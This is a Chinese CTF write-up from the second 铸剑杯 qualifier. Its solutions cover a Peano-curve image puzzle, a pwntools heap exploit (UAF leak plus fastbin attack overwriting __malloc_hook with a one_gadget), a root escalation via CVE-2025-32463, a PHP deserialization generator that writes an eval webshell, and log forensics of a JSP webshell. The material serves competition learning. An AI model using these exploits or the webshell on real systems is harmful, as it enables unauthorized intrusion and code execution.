第二届铸剑杯预选赛 WriteUP

队伍: Im_@tEa_P0t

第44名


Misc

降维打击

解了半天这个题当然要写wp了

赛时未解出,0解,此为wp自解释+复现

foremost提取一下

image-20251124190650084

解一下这张光栅图,解完后发现一堆提示

3-1

3-2

3-3

根据雪花1.26维度,可知道雪花分型

你为什么是一个平面,面对应着二维

根据豪斯多夫维度可以知道一维曲线的皮诺亚曲线(希尔伯特曲线)是二维的

所以可以知道这里的考点是希尔伯特曲线

asdw正好是代表方向的一套字母

使用L-系统解析

你会发现:九个小格的“进出方向组合”只需要两种模板就能描述,比如:

  • 一类是从“下边进,右边出”那种弯法;
  • 另一类是从“左边进,上边出”的那种弯法;
  • 其它格子可以通过对这两类做旋转/镜像得到。

于是我们定义:

  • 模板 1 叫 X
  • 模板 2 叫 Y
X  X  Y
X  Y  Y
X  Y  Y

image-20251125185254625

现在把这条“宏观曲线”翻译成 turtle 指令:

  • X / Y:在当前小格里画一条小曲线(以后会继续递归展开)
  • 每从一个格的中心走到下一个格的中心:相当于 F 一步(在更大的尺度上)
  • 因为下一块的入口方向不一定和前一块出口方向对齐,所以在两个格之间要先旋转 +- 90°

于是你会得到一个模式类似:

X F + Y F Y + F X - F - X F X F X - F Y F Y +

把空格去掉,就是:

XF+YFY+FX-F-XFXFX-FYFY+

这就是 X 的产生式:

'X': 'XF+YFY+FX-F-XFXFX-FYFY+'

含义可以这样读(非严格分块,只是帮助你理解):

  • XF :在第一个小格画 X 模板,然后向前走到第二个小格;
  • +YF:左转 90°,在第二个小格画 Y 模板,再走到第三个小格;
  • Y+F:在第三个小格画 Y,再左转,走……
  • X-F-:在某个小格画 X,前进一步,再右转……
  • XFXFX:连续几个小格用了 X 模板,中间穿插 F 连接……
  • FYFY+:最后几个小格里用 Y 模板,结束时左转……

同理可得Y的产生式

'Y': '-XFXF+YFYFY+F+YF-XFX-FY'

是针对 “Y 型模板所在的 3×3 情况” 做同样的事:

  • 首先 -:一开始要先右转一下,让 Y 型整块的入口方向对齐;

  • 中间同样交替出现 XYF+/-,表示在这个 3×3 大块里怎么走完九个小格;

  • 最终保证:

    • 整体入口/出口方向符合 Y 模板的定义;
    • 和相邻块拼在一起时是连续的。

我们发现**dwawddss模式**可以生成一个二维码

rules = {
    'X': 'XF+YFY+FX-F-XFXFX-FYFY+',
    'Y': '-XFXF+YFYFY+F+YF-XFX-FY'
}
# 角度增量值(单位:度),控制 "+/-" 指令的旋转幅度
delta = 90
# 海龟每次前进的格点步长
forward_len = 1

def lindenmayer(n: int) -> str:
    """根据迭代次数生成 Peano 曲线的 L-system 指令串。"""
    axiom = 'X'
    for _ in range(n):
        axiom = ''.join(rules.get(c, c) for c in axiom)
    return axiom


def turtle_to_points(cmd: str) -> List[Tuple[int, int]]:
    """将指令串转换为海龟绘图经过的网格点序列。"""
    x, y = 0, 0
    angle = 0  # 初始朝向为 0°(向右)
    points = [(x, y)]
    for c in cmd:
        if c == 'F':
            # 根据当前角度决定移动方向
            if angle == 0:
                x += forward_len
            elif angle == 90:
                y += forward_len
            elif angle == 180:
                x -= forward_len
            elif angle == 270:
                y -= forward_len
            points.append((x, y))
        elif c == '+':
            angle = (angle + delta) % 360
        elif c == '-':
            angle = (angle - delta) % 360
    return points

写出完整的生成代码

"""使用 Peano 曲线对被重排的像素进行解扰。

流程概述:
1. 通过 L-system 规则生成 Peano 曲线的海龟指令串;
2. 将指令串转换成海龟在网格上的访问顺序(像素坐标序列);
3. 按照该顺序依次写回被打乱的像素,从而恢复原始图像。
"""

from PIL import Image
from tqdm import tqdm
from typing import List, Tuple

rules = {
    'X': 'XF+YFY+FX-F-XFXFX-FYFY+',
    'Y': '-XFXF+YFYFY+F+YF-XFX-FY'
}
# 角度增量值(单位:度),控制 "+/-" 指令的旋转幅度
delta = 90
# 海龟每次前进的格点步长
forward_len = 1


def lindenmayer(n: int) -> str:
    """根据迭代次数生成 Peano 曲线的 L-system 指令串。

    Args:
        n: L-system 的迭代深度,越大曲线越精细,对应像素数量呈 9 的指数增长。

    Returns:
        str: 展开后的指令串,仅包含 F、+、- 和中间变量符号。

    说明:每次迭代会对当前串的每个符号应用产生式,
    因此字符串长度呈指数增长,注意不要设置过大的 n 以免内存不足。
    """
    axiom = 'X'
    for _ in range(n):
        # 对当前串中每个字符应用产生式,未匹配的字符保持原样
        axiom = ''.join(rules.get(c, c) for c in axiom)
        
    return axiom


def turtle_to_points(cmd: str) -> List[Tuple[int, int]]:
    """将指令串转换为海龟绘图经过的网格点序列。

    Args:
        cmd: 由 F/+/- 组成的海龟指令串,F 表示前进,+/- 表示转向。

    Returns:
        List[Tuple[int, int]]: 海龟按顺序访问到的格点坐标列表。

    Note:
        这里使用离散网格坐标系,海龟从 (0,0) 起步,朝向随角度变量变化。
        该序列在后续会被用作图像像素的写入顺序。
    """
    x, y = 0, 0
    angle = 0  # 初始朝向为 0°(向右)
    points = [(x, y)]
    for c in cmd:
        if c == 'F':
            # 根据当前角度决定移动方向
            if angle == 0: x += forward_len
            elif angle == 90: y += forward_len
            elif angle == 180: x -= forward_len
            elif angle == 270: y -= forward_len
            points.append((x, y))
        elif c == '+':
            # “+” 表示左转 delta 度
            angle = (angle + delta) % 360
        elif c == '-':
            # “-” 表示右转 delta 度
            angle = (angle - delta) % 360
            
    return points


def peano(n: int) -> List[Tuple[int, int]]:
    """生成指定阶数的 Peano 曲线点序列。

    这是一个组合函数:先通过 L-system 获得指令串,再转为网格点,
    从而得到长度为 9^n + 1 的访问路径,供像素重排使用。
    """
    cmd = lindenmayer(n)
    points = turtle_to_points(cmd)
    
    return points


def decrypt(rearranged_path: str, out_path: str, order_n: int = 6):
    """按照 Peano 曲线的访问顺序重排像素,恢复原始图像。

    Args:
        rearranged_path: 被打乱像素的输入图片路径。
        out_path: 输出还原后图片的保存路径。
        order_n: Peano 曲线的阶数,默认 6,对应 3^6 × 3^6 的网格覆盖。

    工作流程:
        1. 打开乱序图片并提取像素;
        2. 根据 order_n 生成一条覆盖整张图像的 Peano 路径;
        3. 依次将乱序像素按路径写回,过程中处理坐标系的上下翻转。
    """
    rearr_img = Image.open(rearranged_path).convert("RGB")
    w, h = rearr_img.size
    order = peano(order_n)  # 生成像素重排顺序
    
    original = Image.new("RGB", (w, h))
    pixels = list(rearr_img.getdata())  # 将图像像素展开为列表,方便顺序访问
    
    for i, (x, y) in tqdm(enumerate(order), total=len(order)):
        # order 的长度可能大于像素数量(路径包含起点),因此需判界
        if i >= len(pixels):
            break
        
        # Pillow 的坐标原点在左上角,需要翻转 y 轴才能对应海龟坐标
        original.putpixel((x, h - y - 1), pixels[i])
    
    original.save(out_path)
        

if __name__ == "__main__":
    decrypt("00000000.png", "flag.png")

查看flag.png

image-20251125185848043

扫码得到flag

image-20251125190121309

flag{b9f98204ff63b60d41b30f2a028c96c5}

Game

我勒个超级玛丽奥

这个游戏是个幌子,可以关掉

image-20251124201109220

切换到workspace2,右键桌面,打开终端,访问flags即可

PWN

我不吃牛肉

可以申请任意大小chunk

df789794685f5ad845a066e8b2fd2d92

free未置空,uaf漏洞

任意大小堆块申请

713886a529e8cdbc86cc4953c825162c

a783618378b07c5d1f4f705b7153a488

02ae44da93616ba3d9d484d9687fdc25

堆溢出

93bb60af6861a7506e221c9b1d351c35

经典检查+运行

4ac9b346b10a7dd1ce6ed3c47c9f7152

d93f4cf0d93af686a12f0f0db8f5273a

from pwn import *

# 封装菜单操作
def do_malloc(io, idx, size):
    io.sendlineafter(b':', b'8')
    io.sendlineafter(b':', str(idx).encode())
    io.sendlineafter(b':', str(size).encode())

def do_free(io, idx):
    io.sendlineafter(b':', b'15')
    io.sendlineafter(b':', str(idx).encode())

def do_edit(io, idx, size, data):
    io.sendlineafter(b':', b'18')
    io.sendlineafter(b':', str(idx).encode())
    io.sendlineafter(b':', str(size).encode())
    io.sendlineafter(b':', data)

def do_show(io, idx):
    io.sendlineafter(b':', b'20')
    io.sendlineafter(b':', str(idx).encode())

# 连接目标程序和加载 libc
p = process('./pwn')
libc = ELF('./libc.so.6')

# 布局堆块
do_malloc(p, 0, 0x500)
do_malloc(p, 1, 0x10)
do_malloc(p, 2, 0x60)

# 泄露 libc 基址
do_free(p, 0)
do_show(p, 0)
p.recvline()
leak = u64(p.recvline().rstrip().ljust(8, b'\x00'))
base = leak - 0x3c4b78

# 准备 fastbin 攻击
do_free(p, 2)
target = base + 0x3c4b10 - 0x23
do_edit(p, 2, 0x8, p64(target))

do_malloc(p, 0, 0x60)
do_malloc(p, 1, 0x60)

# 覆写 __malloc_hook 为 one_gadget
one_gadget = base + 0x453a0
payload = b'a' * 0x13 + p64(one_gadget)
do_edit(p, 1, 0x13 + 8, payload)

# 触发 malloc -> one_gadget
do_malloc(p, 2, base + 0x18ce57)

p.interactive()

InfoSEC

最近还好吗

连接目标SSH服务,ls查看系统版本、当前目录文件,寻找可能的漏洞入口或可执行程序

d4823bd5a68716b9ebfca2ec794383ff

运行可疑脚本 sudo-chwoot.sh

# 先查看脚本内容(可选,了解利用逻辑) cat sudo-chwoot.sh # 赋予执行权限并运行(核心步骤) chmod +x sudo-chwoot.sh ./sudo-chwoot.sh

成功通过 CVE-2025-32463 漏洞提权到 root 用户

076059ba976fc51efe37b6ff0e0dc2af_720

# 最常用的两个路径,直接执行 cat /flag cat /root/flag,得到最终flag

3bc30aedc7a75ec100cbe7228c61f74a

WEB

浅析PHP原生类

<?php
/**
 * 头部声明:设置响应内容类型为纯文本,避免浏览器解析乱码
 * 与原代码保持一致,不影响payload生成逻辑
 */
header("Content-Type: text/plain");

/**
 * 核心类:install
 * 完全保留原始类结构(类名、私有属性、构造方法)
 * 目的:确保序列化时的类标识、属性顺序、访问控制符与原代码一致,避免payload结构变化
 */
class install {
    // 私有属性:与原代码完全一致,序列化时会包含属性名和值
    private $username;
    private $password;

    /**
     * 构造方法:初始化username和password属性
     * @param mixed $username 传入的用户名/核心数据(可是字符串、对象等)
     * @param string $password
     */
    public function __construct($username, $password) {
        $this->username = $username; // 存储核心数据(shell代码或Until对象)
        $this->password = $password; // 固定填充值,无实际业务意义
    }
}

/**
 * 辅助类:Until
 * 完全保留原始类结构(类名、公有属性)
 * 目的:用于构造文件操作相关参数,与原代码的Until实例结构一致
 */
class Until {
    // 公有属性:存储文件操作的核心参数,与原代码属性名完全一致
    public $a; // 要实例化的类名(此处为"ZipArchive",用于文件写入)
    public $b; // 目标文件路径(此处为"install.lock",用于触发安装锁定逻辑)
    public $c; // 文件打开模式(此处为8,对应ZipArchive::O_WRONLY | ZipArchive::O_CREAT)
}

/**
 */
$untilInstance = new Until();
$untilInstance->a = "ZipArchive"; // 指定要调用的文件操作类(ZipArchive支持文件读写)
$untilInstance->b = "install.lock"; // 目标文件名称(与原代码一致,用于触发安装校验)
$untilInstance->c = 8; // 文件打开模式:可写+创建(数值8为固定常量映射,与原代码一致)

/**
 * 2. 构造最终payload数组:与原代码$payload结构完全一致
 * 数组元素顺序、每个install实例的参数均未修改,仅合并冗余中间变量(原$middle/$breaker)
 */
$payload = [
    // 第一个元素:对应原代码$writer,传入一句话shell作为核心数据
    new install(
        '<?php @eval($_POST["cmd"]);?>', // 一句话木马:通过POST参数"cmd"执行任意代码
        "pad" 
    )
    // 第二个元素:对应原代码$breaker,传入Until实例触发文件操作逻辑
    new install(
        $untilInstance, // 传入配置好的Until实例
        "pad" 
    )
];

/**
 * 3. 序列化+URL编码:生成可直接提交的payload
 * - serialize($payload):将数组及内部对象序列化为字符串,保留所有属性和类信息
 * - urlencode():对序列化字符串编码,避免特殊字符(如+、&)导致传输失效
 * 可直接通过GET参数?data=xxx提交
 */
echo urlencode(serialize($payload));
?>

image-20251124223313993

image-20251124223329648

CDF

可恶的木马竟然伪装成我的朋友

1.最早的banner.jpg和banner_home.jpg返回分别是 43424,52917

在ex180223这一天,发现banner_home.jpg

183.62.9.42这个ip 对banner_home.jpg进行访问的返回数据包发生了变化,有可能插入过shell

image-20251124215920284

image-20251124215655162

时间应该确认为2018-2-23

ip:183.62.9.42

js目录下发现一个jsp文件,大概率为shell,之前全是静态js、gif文件

image-20251124220756862

搜索183.62.9.42,逐步确认攻击者分别访问了table.jsp\en.jsp\2.jsp

image-20251124220648354

拼接flag

flag{2018-2-23/183.62.9.42/table.jsp-en.jsp-2.jsp}